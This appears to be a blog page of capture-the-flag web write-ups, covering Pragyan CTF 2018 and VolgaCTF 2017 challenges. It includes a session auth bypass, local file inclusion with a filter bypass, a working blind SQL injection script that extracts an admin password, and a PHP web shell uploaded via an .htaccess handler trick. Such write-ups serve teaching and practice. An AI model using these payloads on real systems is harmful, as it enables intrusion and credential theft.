Showing posts with label auth. Show all posts
Showing posts with label auth. Show all posts

Sunday, March 4, 2018

Pragyan CTF 2018 - web


This post includes the following writeups:


Unfinished business (100pts)



This challenge presents a login prompt and a nice option of making yourself admin.

It was unusual that the organizers decided to reuse account credentials for the challenges themselves. This was one of those challenges.

After logging in we see a success message:


Attempting to visit admin.php, we get redirected to the same intermediate page.

The redirect looked a little suspicious, so it seemed right to check this using curl:


After editing out extra headers, we get the flag without the redirect:

$ curl 'http://128.199.224.175:25000/admin.php' -H 'Cookie: PHPSESSID={REDACTEDREDACTEDREDACTED}'

<!DOCTYPE html>
<html>
<head>
    <title>Admin Dashboard</title>
</head>
<body>

<center>
<h4>
Redirect
<br><br>
The Admin panel is under construction. Redirecting ...
</h4>
<br><br>
Flag :- pctf{y0u=Sh0Uldn'1/h4v3*s33n,1his.:)}
</center>

</body>
</html>



Authenticate your way to admin (150pts)



This challenge also used the CTF creds to auth, slightly odd, but when we login we get the following page:


They also included some source files for this challenge, notably this included:

$id_type = $_SESSION['id_type'];
$id = $_SESSION['id'];
...
<?php
    require "sayings.php";
    printf(get_random_saying());
    echo "<br><br>";
    if($id === 'admin' && $id_type === 'team_name')
        printf(output_flag());
?>

In login.php we also see $_SESSION values being set without condition:

$type = $_POST['id_type'];
$identifier = $_POST['identifier'];
$password = $_POST['password'];
$_SESSION['id'] = $identifier;

This means we could probably set the id & id_type to 'admin' and 'team_name' respectively without any verification, when attempting this we get a failure message:


This doesn't stop us from visiting homepage.php with our newly saved admin session:



El33t Articles Hub (200pts)



This challenge was a lot of fun and had a nice distraction!

First clicking on a link, we notice we're redirected to a page with some content, and the url contains:

http://128.199.224.175:22000/?file=Morning%20Rituals


This immediately invokes the idea of LFI. Playing around a little, we start to get errors filtering keywords such as php: to mitigate attacks such as php://filter.


After looking around for other potential vulnerabilities, something odd pops up:

<link rel='shortcut icon' href='favicon.php?id=3' type='image/x-icon'>

Why would a favicon be a php file, and why would it have an id? This is pure fish sauce.

Let's try to LFI it!

$ curl http://128.199.224.175:22000/favicon.php\?id\=./index.php
No files named './favicons/./index.php.png', './favicons/./index.php.ico'  or './favicons/./index.php.php' found

Perfect. Looks horrible.

Let's grab index.php source:

$ curl http://128.199.224.175:22000/favicon.php\?id\=../index

index.php snippet:

<!DOCTYPE html>
<html>
  <head>

  <?php
    $favicon_id = mt_rand(1,7);
    echo "<link rel='shortcut icon' href='favicon.php?id=$favicon_id' type='image/x-icon'>";
  ?>
...
    <?php
        error_reporting(0);
        require "fetch.php";
        require "helpers.php";

        $filename = !empty($_GET['file']) ? $_GET['file'] : "";

        if($filename !== "") {

            $filename = sanitize($filename);
            $file_contents = read_article($filename);
            echo "<p>";
            echo $file_contents;
            echo "</p>";
...

It looks like there are other php files to dump (favicon.php, fetch.php, helpers.php):

$ curl http://128.199.224.175:22000/favicon.php\?id\=../favicon > favicon.php
$ curl http://128.199.224.175:22000/favicon.php\?id\=../fetch > fetch.php
$ curl http://128.199.224.175:22000/favicon.php\?id\=../helpers > helpers.php

Grepping for the flag we see the match:

$ grep flag *
helpers.php:    $evil_chars = array("php:", "secret/flag_7258689d608c0e2e6a90c33c44409f9d");


Visiting this url we get the flag:


After walking through this challenge again, it seems the flag was locked down so the technique above wouldn't work. So as an addition to this writeup, let's walk through the next steps after direct flag access has been denied.

Looking at the files again there was a filter for the first LFI:

$bad_chars = array("./", "../");
foreach ($bad_chars as $value) {
    $filename = str_replace($value, "", $filename);
}

Playing around in a local/online PHP repl helps with this, we end up with the new url:

http://128.199.224.175:22000/?file=.....///secret//flag_7258689d608c0e2e6a90c33c44409f9d

This utilizes two LFI bugs, which is a nice combo to get the flag:



Animal attack (200pts)



As the name implies on this one, we're given a database of animal spies, and it hints at the possibility of SQL Injection with the search box.

Trying a very simple injection, we get a successful result:


We can check if it's really SQL Injection and not just a rough match by checking the failing condition 1=2:



Looks like we have something! Now we just need to union select and we should be done right?

The next query was:

alix' union select * from users


They seem to have blocked the keyword 'union' from the input. We'll have to get more creative.

Without any reflected errors and the blocking of keywords, it made sense to go the blind sql injection route.

This is a good paper on blind sqli which was followed initially during the CTF - https://www.exploit-db.com/papers/13045/

First it would be nice to go through quicker iterations for searching. Using the same method above to copy the cURL value, we get a simplified version on the command line. Note the web application base64 encoded the query before sending it off, so we do the same:

$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(echo -en "alix'\n and 1=1 #" | base64)

To identify if the query succeeded or failed we can grep for Alix:

$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(echo -en "alix'\n and 1=1 #" | base64) | grep Alix
        <b> Name : </b> Alix <br>

In the exploit-db paper by Marezzi, it mentions existence checks for columns, we'll perform the same here:

$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(python -c 'print "alix'"'"' and (select substring(concat(1,password),1,1) from users where username=\"admin\" limit 0,1)=1 #".encode("base64").replace("\n", "")') | grep Alix

With this we are able to tell there is a users table with an admin user and a password column.
Now we can enumerate which characters are in the password by using character range comparisons.

Starting with the first character, we can identify that it starts with the known flag format 'pctf{':

curl -L 'http://128.199.224.175:24000/' --data "spy_name="$(python -c 'print "alix'"'"' and ascii(substring((SELECT password from users where username=\"admin\" limit 0,1),1,1))=112 #".encode("base64").replace("\n", "")') | grep Alix

That Passes! So now to enumerate other characters.
To find other characters, we iterate through the potential character space (python's string.printable is fine for this). Once we reach the point where the current character succeeds and the next fails, we know the next is part of the password. This may become clear in the following example:

We know 'p' is the beginning of the flag, when we iterate through all possible characters we reach 'o'. The check 'p' > 'o' succeeds. Next we check if 'p' > 'p', this obviously fails, and we know that 'p' is the next match for our password.

$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(python -c 'print "alix'"'"' and ascii(substring((SELECT password from users where username=\"admin\" limit 0,1),1,1))>111 #".encode("base64").replace("\n", "")') | grep Alix
        <b> Name : </b> Alix <br>
$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(python -c 'print "alix'"'"' and ascii(substring((SELECT password from users where username=\"admin\" limit 0,1),1,1))>112 #".encode("base64").replace("\n", "")') | grep Alix

We'll also want to make this process more efficient by introducing a binary search while traversing through the possible characters.

This was the final client for the challenge:

#!/usr/bin/env python
import requests

checkRange = range(9, 126)
BASE = "alix' and ascii(substring((SELECT password from users where username=\"admin\" limit 0,1),{},1))>{} #"

def bsearch(pos):
  min = 9
  max = 126
  while True:
    if max < min: return -1
    m = (min + max) // 2

    first = request(pos, m)
    second = request(pos, m + 1)

    if first and not second:
      return m + 1
    elif first and second:
      min = m + 1
    else:
      max = m - 1

def request(pos, char):
  payload = BASE.format(pos, char).encode('base64')
  r = requests.post('http://128.199.224.175:24000/', { "spy_name": payload })
  return 'Alix' in r.text

def main():
  flag = ''
  pos = 1

  while '}' not in flag:
    flag += chr(bsearch(pos))
    print 'Flag: {}'.format(flag)
    pos += 1

  print 'Result: {}'.format(flag)

if __name__ == '__main__':
  main()


Running the client we get the flag:



Sunday, March 26, 2017

VolgaCTF 2017 Quals - SharePoint (200)


This CTF was a lot of fun, we ended up solving six challenges and landing in the top 100 which didn't seem too bad for 1-2 of us playing. Also learned about a few topics in the process.

SharePoint was a web challenge which starts out with a login form. Most of the web challenges consisted of a similar authentication method. Simply login with any creds you'd like to use (restricted to regular expression with length > 7), and it'll register / sign-in to that user account, probably setup this way for simplicity.


After logging in, we're presented with a web application that allows you to upload and share files with other users.

The first thought on a web application like this is: File Upload -> LFI. It turns out this was exactly what it was, with a small twist.

Uploading the obvious example, a php web-shell caused an error to be displayed.  It probably filters based on filename extension, such as php, html, etc.  Uploading the web shell as a png seemed to work, but the server wouldn't execute php in this file by default.

Looking at the share functionality we could see that it just performs a php copy() operation from one user's files directory to another.  It also seemed as if we could traverse up the directory structure to pull files such as ../../index.php, ../../.htaccess, etc.  Unfortunately during the challenge we didn't find an easy way to read these files, so this wasn't very helpful.

What we can do is setup our own .htaccess file since we have control over a full directory and the names / content of the files uploaded do not change. We may also want to see the directory contents and add our own executable php format to the server to get around the file extension restriction. To do this we can add the following rules to a small .htaccess file and upload it to the server:

Options +Indexes
AddHandler application/x-httpd-php .vv
AddType application/x-httpd-php .vv
AddType application/x-httpd-php5 .vv

We'll also upload a very simple web shell to the server to get code exection:

<pre><?php echo system($_GET['c']); ?></pre>


Visiting the link to the shell and passing in a command seems to work:
http://share-point.quals.2017.volgactf.ru/files/vvvvv/s.vv?c=uname+-a

Linux cs76582 4.4.0-66-generic #87-Ubuntu SMP Fri Mar 3 15:29:05 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux


Now to look for something more interesting, the flag:
http://share-point.quals.2017.volgactf.ru/files/vvvvv/s.vv?c=find+/+-type+f+|+grep+flag

...
/opt/flag.txt
...

There were many files listed, a hint mentioned the flag was in an 'optimal' location, referencing /opt.
Checking out this file (/opt/flag.txt), we get:

http://share-point.quals.2017.volgactf.ru/files/vvvvv/s.vv?c=cat+/opt/flag.txt

VolgaCTF{AnoTHer_apPro0Ach_to_file_Upl0Ad_with_PhP}


Loved this challenge, and learned a little about Apache rules in the process!